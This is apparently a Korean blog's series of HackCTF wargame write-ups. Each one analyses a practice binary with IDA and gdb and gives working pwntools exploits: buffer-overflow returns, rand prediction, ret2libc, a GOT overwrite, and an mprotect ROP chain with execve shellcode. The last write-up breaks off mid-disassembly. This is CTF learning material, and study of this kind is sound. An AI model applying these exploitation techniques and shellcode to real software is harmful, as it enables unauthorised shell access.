[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 환경변수 값을 입력 받음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx@1
  __int64 v4; // rax@1
  __int64 v5; // rdx@1
  __int64 v6; // rbx@1
  char *v7; // rax@1
  __int64 v8; // rdx@1
  __int64 v9; // rax@1
  char name; // [rsp+0h] [rbp-410h]@1

  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin, &name);
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3);
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
  v7 = getenv(&name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  return 0;
}
  • 입력 값으로 받은 사용변수는 name 변수로 받아 bss 영역에 저장됨 → 입력 값 길이에 대한 제한 없어 BOF 발생
  • name을 getenv 함수로 환경변수 값을 호출하여 반환

 

IDA 분석 - spawn_shell 함수

int spawn_shell(void)
{
  char *argv; // [rsp+0h] [rbp-10h]@1
  __int64 v2; // [rsp+8h] [rbp-8h]@1

  argv = "/bin/bash";
  v2 = 0LL;
  return execve("/bin/bash", &argv, 0LL);
}
  • flag 출력

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400718  _init
0x0000000000400740  std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt
0x0000000000400750  __cxa_atexit@plt
0x0000000000400760  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400770  std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400780  getenv@plt
0x0000000000400790  std::ios_base::Init::Init()@plt
0x00000000004007a0  execve@plt
0x00000000004007b0  _start
0x00000000004007e0  _dl_relocate_static_pie
0x00000000004007f0  deregister_tm_clones
0x0000000000400820  register_tm_clones
0x0000000000400860  __do_global_dtors_aux
0x0000000000400890  frame_dummy
0x0000000000400897  spawn_shell()
0x00000000004008cd  main
0x0000000000400968  __static_initialization_and_destruction_0(int, int)
0x00000000004009b1  _GLOBAL__sub_I__Z11spawn_shellv
0x00000000004009d0  __libc_csu_init
0x0000000000400a40  __libc_csu_fini
0x0000000000400a44  _fini
  • main: 0x00000000004008cd
  • spawn_shell: 0x0000000000400897

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004008cd <+0>:	push   rbp
   0x00000000004008ce <+1>:	mov    rbp,rsp
   0x00000000004008d1 <+4>:	push   rbx
   0x00000000004008d2 <+5>:	sub    rsp,0x408
   0x00000000004008d9 <+12>:	lea    rsi,[rip+0x188]        # 0x400a68
   0x00000000004008e0 <+19>:	lea    rdi,[rip+0x200779]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x00000000004008e7 <+26>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x00000000004008ec <+31>:	lea    rax,[rbp-0x410]
   0x00000000004008f3 <+38>:	mov    rsi,rax
   0x00000000004008f6 <+41>:	lea    rdi,[rip+0x200883]        # 0x601180 <_ZSt3cin@@GLIBCXX_3.4>
   0x00000000004008fd <+48>:	call   0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
   0x0000000000400902 <+53>:	lea    rax,[rbp-0x410]
   0x0000000000400909 <+60>:	mov    rsi,rax
   0x000000000040090c <+63>:	lea    rdi,[rip+0x20074d]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x0000000000400913 <+70>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400918 <+75>:	lea    rsi,[rip+0x17a]        # 0x400a99
   0x000000000040091f <+82>:	mov    rdi,rax
   0x0000000000400922 <+85>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400927 <+90>:	mov    rbx,rax
   0x000000000040092a <+93>:	lea    rax,[rbp-0x410]
   0x0000000000400931 <+100>:	mov    rdi,rax
   0x0000000000400934 <+103>:	call   0x400780 <getenv@plt>
   0x0000000000400939 <+108>:	mov    rsi,rax
   0x000000000040093c <+111>:	mov    rdi,rbx
   0x000000000040093f <+114>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400944 <+119>:	mov    rdx,rax
   0x0000000000400947 <+122>:	mov    rax,QWORD PTR [rip+0x200692]        # 0x600fe0
   0x000000000040094e <+129>:	mov    rsi,rax
   0x0000000000400951 <+132>:	mov    rdi,rdx
   0x0000000000400954 <+135>:	call   0x400770 <_ZNSolsEPFRSoS_E@plt>
   0x0000000000400959 <+140>:	mov    eax,0x0
   0x000000000040095e <+145>:	add    rsp,0x408
   0x0000000000400965 <+152>:	pop    rbx
   0x0000000000400966 <+153>:	pop    rbp
   0x0000000000400967 <+154>:	ret    
End of assembler dump.
  • main+53에서 사용자의 입력이 rbp-0x410에 저장됨을 알 수 있음
    • ret까지의 offset은 SFP(8)을 더한 0x418(1048)일 것으로 추정
  • main에 bp를 걸어 임의의 값(a)입력

  • 사용자의 입력은 0x7fffffffda50에 저장됨

 

문제 해결

💡 dummy(1048)+ spawn_shell_address

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3013)
e = ELF("./1996")
#spawn_shell = e.symbols['spawn_shell']

payload = "a"*1048 + p64(0x400897)
p.recvuntil("? ")
p.sendline(payload)

p.interactive()
  • symbols로 spawn_shell을 구하는게 안먹힘. 이전에는 됐는데 왜 안되는지 모르겠음.


flag

🍒 HackCTF{b29a2800780d85cfc346}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • Input Key로 사용자의 입력을 받음
  • 입력 값을 사전에 등록되어 있는 값과 비교하는 것으로 보임
  • 올바르지 않은 입력을 주었을 때 Nah... 메시지 출력하며 바이너리 종료

 

IDA 분석 - main 함수

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int v4; // [rsp+0h] [rbp-10h]@1
  int v5; // [rsp+4h] [rbp-Ch]@1
  __int64 v6; // [rsp+8h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  setbuf(_bss_start, 0LL);
  v4 = 0;
  v3 = time(0LL);
  srand(v3);
  v5 = rand();
  puts("============================");
  puts("======= 인증 프로그램 ======");
  puts("============================");
  printf("Input Key : ", 0LL, *(_QWORD *)&v4, v6);
  __isoc99_scanf("%d", &v4);
  if ( v5 == v4 )
  {
    puts("Correct!");
    system("cat /home/random/flag");
    exit(0);
  }
  puts("Nah...");
  exit(0);
}
  • rand 함수 호출 후 해당 값이 사용자의 입력 값과 같다면 flag 출력
  • rand 함수에 seed 값을 주지 않아 최초 호출된 값으로 고정된 random 값을 가진다는 것을 알 수 있음

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000000004005e8  _init
0x0000000000400620  puts@plt
0x0000000000400630  setbuf@plt
0x0000000000400640  system@plt
0x0000000000400650  printf@plt
0x0000000000400660  __libc_start_main@plt
0x0000000000400670  srand@plt
0x0000000000400680  time@plt
0x0000000000400690  __isoc99_scanf@plt
0x00000000004006a0  exit@plt
0x00000000004006b0  rand@plt
0x00000000004006c0  __gmon_start__@plt
0x00000000004006d0  _start
0x0000000000400700  deregister_tm_clones
0x0000000000400740  register_tm_clones
0x0000000000400780  __do_global_dtors_aux
0x00000000004007a0  frame_dummy
0x00000000004007c6  main
0x00000000004008a0  __libc_csu_init
0x0000000000400910  __libc_csu_fini
0x0000000000400914  _fini
  • main: 0x4007c6

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004007c6 <+0>:	push   rbp
   0x00000000004007c7 <+1>:	mov    rbp,rsp
   0x00000000004007ca <+4>:	sub    rsp,0x10
   0x00000000004007ce <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004007d7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004007db <+21>:	xor    eax,eax
   0x00000000004007dd <+23>:	mov    rax,QWORD PTR [rip+0x200894]        # 0x601078 <stdout@@GLIBC_2.2.5>
   0x00000000004007e4 <+30>:	mov    esi,0x0
   0x00000000004007e9 <+35>:	mov    rdi,rax
   0x00000000004007ec <+38>:	call   0x400630 <setbuf@plt>
   0x00000000004007f1 <+43>:	mov    DWORD PTR [rbp-0xc],0x0
   0x00000000004007f8 <+50>:	mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004007ff <+57>:	mov    edi,0x0
   0x0000000000400804 <+62>:	mov    eax,0x0
   0x0000000000400809 <+67>:	call   0x400680 <time@plt>
   0x000000000040080e <+72>:	mov    edi,eax
   0x0000000000400810 <+74>:	call   0x400670 <srand@plt>
   0x0000000000400815 <+79>:	call   0x4006b0 <rand@plt>
   0x000000000040081a <+84>:	mov    DWORD PTR [rbp-0xc],eax
   0x000000000040081d <+87>:	mov    edi,0x400928
   0x0000000000400822 <+92>:	call   0x400620 <puts@plt>
   0x0000000000400827 <+97>:	mov    edi,0x400948
   0x000000000040082c <+102>:	call   0x400620 <puts@plt>
   0x0000000000400831 <+107>:	mov    edi,0x400928
   0x0000000000400836 <+112>:	call   0x400620 <puts@plt>
   0x000000000040083b <+117>:	mov    edi,0x40096b
   0x0000000000400840 <+122>:	mov    eax,0x0
   0x0000000000400845 <+127>:	call   0x400650 <printf@plt>
   0x000000000040084a <+132>:	lea    rax,[rbp-0x10]
   0x000000000040084e <+136>:	mov    rsi,rax
   0x0000000000400851 <+139>:	mov    edi,0x400978
   0x0000000000400856 <+144>:	mov    eax,0x0
   0x000000000040085b <+149>:	call   0x400690 <__isoc99_scanf@plt>
   0x0000000000400860 <+154>:	mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400863 <+157>:	cmp    DWORD PTR [rbp-0xc],eax
   0x0000000000400866 <+160>:	jne    0x400886 <main+192>
   0x0000000000400868 <+162>:	mov    edi,0x40097b
   0x000000000040086d <+167>:	call   0x400620 <puts@plt>
   0x0000000000400872 <+172>:	mov    edi,0x400984
   0x0000000000400877 <+177>:	call   0x400640 <system@plt>
   0x000000000040087c <+182>:	mov    edi,0x0
   0x0000000000400881 <+187>:	call   0x4006a0 <exit@plt>
   0x0000000000400886 <+192>:	mov    edi,0x40099a
   0x000000000040088b <+197>:	call   0x400620 <puts@plt>
   0x0000000000400890 <+202>:	mov    edi,0x0
   0x0000000000400895 <+207>:	call   0x4006a0 <exit@plt>
End of assembler dump.
  • rand함수를 호출하는 main+84에 bp 걸어 eax로 반환되는 random 값 확인

  • random 값: 0x39a30760

→ 그러나 seed 값으로 인해 매번 다른 random 값 호출

→ random 값을 직접 만들어 exploit 해야함.

 

문제 해결

💡 - rand 함수는 seed 값이 같다면 동일한 난수를 출력함
- 서버에 접속 시 생성되는 난수와 동일한 시간에 난수를 생성하여 사용자에게 출력해준다면 난수가 무엇인지 알 수 있을 것

 

방법1 - 난수 생성 코드 작성

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main(){
        srand(time(NULL));
        printf("%d", rand());
        return 0;
}

  • ;으로 난수 생성 바이너리와 서버 접속을 연속으로 진행한다면 난수를 가시적으로 확인할 수 있음

 

방법2 - 공유 객체 파일 생성

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main(){
        srand(time(NULL));
        int random = rand();
        return random;
}
  • 1번과 동일한 소스코드로는 exploit 불가(return 값이 0이 되면 안됨)

  • 공유 객체 파일로 컴파일

 

Python2

from pwn import *
from ctypes import *

code = CDLL('./rand.so')
random = code.main() #c코드에서의 함수이름 작성

p = remote("ctf.j0n9hyun.xyz",3014)
e = ELF("./random")

p.recvuntil(" : ")
p.sendline(str(random))
p.interactive()
💡 ctypes 라이브러리
파이썬용 외부 함수(foreign function) 라이브러리
C 호환 데이터형을 제공하며, DLL 또는 공유 라이브러리에 있는 함수를 호출할 수 있음.
C로 작성된 코드가 Shared Object(.so)의 형태로 컴파일 되어 있어야 함.
CDLL로 파이썬과 C를 연결할 수 있음


flag

🍒  HackCTF{5087686686858549173307745189}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Poet  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 패스코드 입력을 받고 특정한 값과 비교하여 일치 여부 검증

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-1Ch]@1

  setvbuf(_bss_start, 0, 2, 0);
  puts("코어 파일에 액세스중입니다..\\n패스코드를 입력해주세요");
  printf("Passcode: ");
  gets(&s);
  if ( check_passcode(&s) == hashcode )
  {
    puts("코드가 일치하구나. 좋아, 다음 단서를 던져주지");
    core();
  }
  else
  {
    puts("실패!");
  }
  return 0;
}
  • gets 함수로 사용자의 입력을 받음 → 입력 값 길이에 대한 제한 없어 BOF 발생
  • check_passcode에 사용자의 입력을 넣어 return된 값과 hashcode가 같다면 core 함수 호출

 

IDA 분석 - core 함수

ssize_t core()
{
  int buf; // [esp+Ah] [ebp-3Eh]@1
  int v2; // [esp+Eh] [ebp-3Ah]@1
  __int16 v3; // [esp+12h] [ebp-36h]@1
  int v4; // [esp+38h] [ebp-10h]@1
  void *v5; // [esp+3Ch] [ebp-Ch]@1

  buf = 0;
  v2 = 0;
  v4 = 0;
  memset(
    (void *)((unsigned int)&v3 & 0xFFFFFFFC),
    0,
    4 * ((((unsigned int)&v2 + -((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2));
  v5 = dlsym((void *)0xFFFFFFFF, "printf");
  printf("너에게 필요한 것은 바로 %p 일거야\\n", v5);
  return read(0, &buf, 0x64u);
}
  • 동적 라이브러리 로드
  • printf 함수의 주소를 출력해줌
  • read 함수로 buf에 100바이트만큼 사용자 입력 받음

 

IDA 분석 - check_passcode 함수

int __cdecl check_passcode(int a1)
{
  int v2; // [esp+8h] [ebp-8h]@1
  signed int i; // [esp+Ch] [ebp-4h]@1

  v2 = 0;
  for ( i = 0; i <= 4; ++i )
    v2 += *(_DWORD *)(4 * i + a1);
  return v2;
}
  • 사용자의 입력 값은 a1으로 받음
  • 포인터를 이용한 것으로 보아 4byte 단위로 특정 값을 연속하여 저장 후 v2반환
  • v2 = hashcode(0xc0d9b0a7) = *a1 + *(4+a1) + (42+a1) + (43+a1) + (44+a1)
    • 0xc0d9b0a7 / 5 = 0x2691f021(647098401) + 2
    • a1 = 647098401
    • a1+4 = 647098401
    • a1+8 = 647098401
    • a1+12 = 647098401
    • a1+16 = 647098403

 

hashcode 검증

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)

p.recvuntil(": ")

payload = p32(0x2691f021)*4 + p32(0x2691f023)

p.sendline(payload)
p.recv(1024)
p.interactive()

 

gdb 분석 - 변수 확인

pwndbg> info variable
All defined variables:

Non-debugging symbols:
0x080487a8  _fp_hw
0x080487ac  _IO_stdin_used
0x0804888c  __GNU_EH_FRAME_HDR
0x080489d8  __FRAME_END__
0x08049f00  __frame_dummy_init_array_entry
0x08049f00  __init_array_start
0x08049f04  __do_global_dtors_aux_fini_array_entry
0x08049f04  __init_array_end
0x08049f08  __JCR_END__
0x08049f08  __JCR_LIST__
0x08049f0c  _DYNAMIC
0x0804a000  _GLOBAL_OFFSET_TABLE_
0x0804a028  __data_start
0x0804a028  data_start
0x0804a02c  __dso_handle
0x0804a030  hashcode
0x0804a034  __TMC_END__
0x0804a034  __bss_start
0x0804a034  _edata
0x0804a034  stdout
0x0804a034  stdout@@GLIBC_2.0
0x0804a038  completed
0x0804a03c  _end
  • hashcode: 0x0804a030 → 전역변수로 선언되어 있음

  • hashcode = 0xc0d9b0a7

 

문제 해결

💡 printf 함수 주소를 통해 base 주소 leak
/bin/sh, system 구해 exploit
→ dummy(66) + system_address + dummy(4) + /bin/sh_address

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")
e = ELF("./rtlcore")

printf_symbols = libc.symbols['printf']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()

p.recvuntil(": ")

payload = p32( 0x2691f021)*4 + p32( 0x2691f023)

p.sendline(payload)
p.recvuntil('0x')
printf = int('0x' +  p.recv(8),16)

base = printf - printf_symbols
system_address = base + system
binsh_address = base + binsh

payload2 = "A"*66
payload2 += p32(system_address)
payload2 += "b"*4
payload2 += p32(binsh_address)

p.sendline(payload2)
p.interactive()

Python2 - One_Gadget

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")
e = ELF("./rtlcore")
one_gadget = 0x3a80c

printf_symbols = libc.symbols['printf']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()

p.recvuntil(": ")

payload = p32(0x2691f021)*4 + p32(0x2691f023)

p.sendline(payload)
p.recvuntil('0x')
printf = int('0x' +  p.recv(8),16)

base = printf - printf_symbols
system_address = base + system
binsh_address = base + binsh
one_address = base + one_gadget

payload2 = "A"*66
payload2 += p32(one_address)
payload2 += p32(0)*100

p.sendline(payload2)
p.interactive()


flag

🍒  HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 2번의 입력을 받고 바이너리 종료

 

IDA 분석 - main 함수

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *v3; // ST10_8@1
  void *v4; // ST18_8@1
  char s; // [rsp+20h] [rbp-1010h]@1
  __int64 v6; // [rsp+1028h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  v3 = malloc(0x10uLL);
  *(_DWORD *)v3 = 1;
  *((_QWORD *)v3 + 1) = malloc(8uLL);
  v4 = malloc(0x10uLL);
  *(_DWORD *)v4 = 2;
  *((_QWORD *)v4 + 1) = malloc(8uLL);
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v3 + 1), &s);
  fgets(&s, 4096, stdin);
  strcpy(*((char **)v4 + 1), &s);
  exit(0);
}
  • v3에 malloc(0x10)으로 메모리 할당
  • v3+1에 malloc(0x8)으로 메모리 할당
  • v4에 malloc(0x10)으로 메모리 할당
  • v4+1에 malloc(0x8)으로 메모리 할당
  • fgets 함수를 통해 4096byte만큼 2번 입력 받음 → BOF 발생
    • 1번째는 v3+1에 저장
    • 2번째는 v4+1에 저장

?? flag 획득 가능한 함수가 보이지 않음. 다른 풀이에서는 함수 목록에 포함이 됐는데 이상해서 영역별로 다시 찾아봄. text 영역중 0x400826에서 flag를 불러오는 부분을 확인할 수 있었음.

 

gdb 분석 - 함수 확인

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400670  free@plt
0x0000000000400680  _exit@plt
0x0000000000400690  strcpy@plt
0x00000000004006a0  puts@plt
0x00000000004006b0  __libc_start_main@plt
0x00000000004006c0  fgets@plt
0x00000000004006d0  malloc@plt
0x00000000004006e0  fflush@plt
0x00000000004006f0  fopen@plt
0x0000000000400700  getline@plt
0x0000000000400710  exit@plt
0x0000000000400720  __gmon_start__@plt
  • strcpy 부분에 bp를 걸어 임의의 값(1번째는 a, 2번째는 b)입력 후 메모리 확인

  • v3에 malloc(0x10)으로 메모리 할당 → 0x602280
  • v3+1에 malloc(0x8)으로 메모리 할당 → 0x6022a8
  • v4에 malloc(0x10)으로 메모리 할당 → 0x6022c0
  • v4+1에 malloc(0x8)으로 메모리 할당 →
  • fgets 함수를 통해 4096byte만큼 2번 입력 받음
    • 1번째는 v3+1에 저장
    • 2번째는 v4+1에 저장
  • 1번째 입력 값을 받은 후 v3+1에 있는 주소를 따라가 2번째 입력 값을 저장하고 있음

 

문제 해결

💡 v3+1에 v4의 주소를 담고 있으므로 해당 값을 main함수의 마지막에 존재하는 exit 함수의 got 주소를 넣어주면 exit_got을 따라가게 될 것임
2번째 입력은 exit_got에 저장될 것이며 해당 값을 flag 함수 주소로 넣어주면 exploit 가능
dummy(40) + exit_got + flag_address

 

Python2

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3016)
e = ELF('./beginner_heap')
flag = 0x400826

payload1 = "A"*40 + p64(e.got['exit'])
payload2 = p64(flag)

p.sendline(payload1)
p.sendline(payload2)

p.interactive()


flag

🍒  HackCTF{4r3_y0u_r34dy_w3lc0m3_70_h34p_53k41}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

  • 정적 링킹되어 있어 모든 라이브러리 함수가 바이너리에 포함되어 있음

 

바이너리 실행

  • 사용자로부터 입력을 받고 바이너리 종료 → 일정 값 이상 넘어가면 segmentation fault 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST1C_4@1

  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  look_at_me();
  return 0;
}
  • look_at_me 함수 호출

 

IDA 분석 - look_at_me 함수

_BYTE *look_at_me()
{
  char v1; // [esp+0h] [ebp-18h]@1

  puts("Hellooooooooooooooooooooo");
  return gets(&v1);
}
  • gets 함수로 사용자의 입력 받아 return → BOF 취약점 발생
  • flag를 획득할 수 있는 함수를 찾을 수 없음
  • NX bit가 걸려 있어 ROP를 수행해야 할 것으로 보임
  • 그러나 바이너리에 system 함수가 존재하지 않음

mprotect함수

💡 *int mprotect(void addr, size_t len, int prot);
  • 메모리로 매핑된 영역의 보호 모드를 변경할 때 사용되는 함수
  • 매핑된 메모리의 보호 모드는 mmap함수로 메모리 매핑을 수행할 때 초깃값을 설정한다.
  • addr로 지정한 주소에 len크기만큼 매핑된 메모리의 보호 모드를 prot에 지정한 값으로 변경
  • prot : PROT_READ, PROT_WRITE, PROT_EXEC, PROT_NONE(prot에 7을 주면 rwx가 모두 설정된다.)

- 주의 : addr의 값은 페이지 경계에 맞게 정렬되어야 한다. (page의 크기는 4096)

  • mprotect [주소값] 부터 [주소값 + 길이-1]를 포함하는 메모리 페이지의 접근 권한을 수정하는 것
  • 첫번째 인자인 원하는 주소에는 0x1000의 배수가 되어야 한다.

NX-bit가 걸려있어도 mprotect함수를 사용하면 고정된 주소 값에 삽입한 Shellcode를 실행시킬 수 있다.

  • 32bit에서는 인자를 가젯 순서대로 삽입함!

 

문제 해결

💡gets 함수에서 bss 영역으로 연결
mprotect 함수로 bss 영역 권한을 7로 변경 후 shellcode 삽입
dummy(28) + gets_address + gadget(pr) + bss_address + mprotect_address + gadget(pppr) + bss_address(0x1000 단위로 맞춘) + size + 7(bss 영역에 실행 권한 부여) + bss_address(return)
shellcode

 

필요 값 찾기

bss 영역 주소 찾기

 

Gadget 찾기

💡 ROPgadget --binary ./lookatme |grep ret
  1. gets 함수(pr)

2. mprotect 함수(pppr)

Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


 

Python2

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3017)
e = ELF('./lookatme')

gets_gadget = 0x080681c0
mprotect_gadget = 0x080509d5
bss_address = 0x080eaf80
gets_address = e.symbols['gets']
mprotect_address = e.symbols['mprotect']
shellcode = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"

payload1 = "A"*28
payload1 += p32(gets_address)
payload1 += p32(gets_gadget)
payload1 += p32(bss_address)
payload1 += p32(mprotect_address)
payload1 += p32(mprotect_gadget)
payload1 += p32(bss_address - 0xf80)
payload1 += p32(0x100)
payload1 += p32(7)
payload1 += p32(bss_address)

p.recvuntil("Hellooooooooooooooooooooo\\n")
p.sendline(payload1)
p.sendline(shellcode)

p.interactive()

 

 

참고: https://jiravvit.tistory.com/entry/HackCTF-Pwnable-look-at-me-풀이-32bit-syscall


flag

🍒  HackCTF{Did_you_understand_the_static_linking_method?}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Gift  (0) 2022.10.30

[문제]


[풀이]

보호 기법 확인

  • 32bit 바이너리
  • relro 없음
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 특정 주소 값 2개를 출력해줌
    • 0x8049940은 동일한 것으로 보아 bss 영역에 저장된 변수임을 알 수 있음
  • 사용자의 입력을 2번 받는데, 1번은 입력 값을 동일하게 출력하고, 1번은 단순히 입력만 받고 바이너리 종료

 

소스코드 분석

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-84h]@1

  alarm(0x3Cu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  printf("Hey guyssssssssss here you are: %p %p\\n", &binsh, &system);
  fgets(&s, 128, stdin);
  printf(&s);
  gets(&s);
  return 0;
}

main 함수

  • 처음 출력해주는 주소가 binsh와 system임을 알 수 있음
    • binsh는 bss 영역에 저장되어 있어 주소 값이 변하지 않음
    • system 함수는 실제 system 주소로 ASLR로 매번 주소가 바뀜
  • 1번째 입력에서는 s라는 버퍼에 128바이트만큼 입력 받고, 그대로 출력 → FSB 취약점 발생
  • 2번째 입력에서는 단순히 gets 함수로 사용자의 입력을 받음 → BOF 취약점 발생

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0804838c  _init
0x080483c0  printf@plt
0x080483d0  gets@plt
0x080483e0  fgets@plt
0x080483f0  alarm@plt
0x08048400  __libc_start_main@plt
0x08048410  setvbuf@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x08048610  __libc_csu_init
0x08048670  __libc_csu_fini
0x08048674  _fini
  • main: 0x08048546

 

GDB 정적분석 - 변수

pwndbg> info variables
All defined variables:

Non-debugging symbols:
0x08048688  _fp_hw
0x0804868c  _IO_stdin_used
0x080486b8  __GNU_EH_FRAME_HDR
0x080487dc  __FRAME_END__
0x080497e0  __frame_dummy_init_array_entry
0x080497e0  __init_array_start
0x080497e4  __do_global_dtors_aux_fini_array_entry
0x080497e4  __init_array_end
0x080497e8  _DYNAMIC
0x080498e4  _GLOBAL_OFFSET_TABLE_
0x08049908  __data_start
0x08049908  data_start
0x0804990c  __dso_handle
0x08049910  __TMC_END__
0x08049910  __bss_start
0x08049910  _edata
0x08049920  completed
0x08049940  binsh
0x080499a4  _end
  • binsh: 0x08049940

  • binsh에는 아무런 값도 존재하지 않아 system(”/bin/sh”)의 형태로 이용할 수 없음 → “/bin/sh”문자열을 저장해줘야 함!

 

GDB 정적분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x08048546 <+0>:	push   ebp
   0x08048547 <+1>:	mov    ebp,esp
   0x08048549 <+3>:	push   ebx
   0x0804854a <+4>:	add    esp,0xffffff80
   0x0804854d <+7>:	call   0x8048480 <__x86.get_pc_thunk.bx>
   0x08048552 <+12>:	add    ebx,0x1392
   0x08048558 <+18>:	push   0x3c
   0x0804855a <+20>:	call   0x80483f0 <alarm@plt>
   0x0804855f <+25>:	add    esp,0x4
   0x08048562 <+28>:	mov    eax,DWORD PTR [ebx-0x4]
   0x08048568 <+34>:	mov    eax,DWORD PTR [eax]
   0x0804856a <+36>:	push   0x0
   0x0804856c <+38>:	push   0x2
   0x0804856e <+40>:	push   0x0
   0x08048570 <+42>:	push   eax
   0x08048571 <+43>:	call   0x8048410 <setvbuf@plt>
   0x08048576 <+48>:	add    esp,0x10
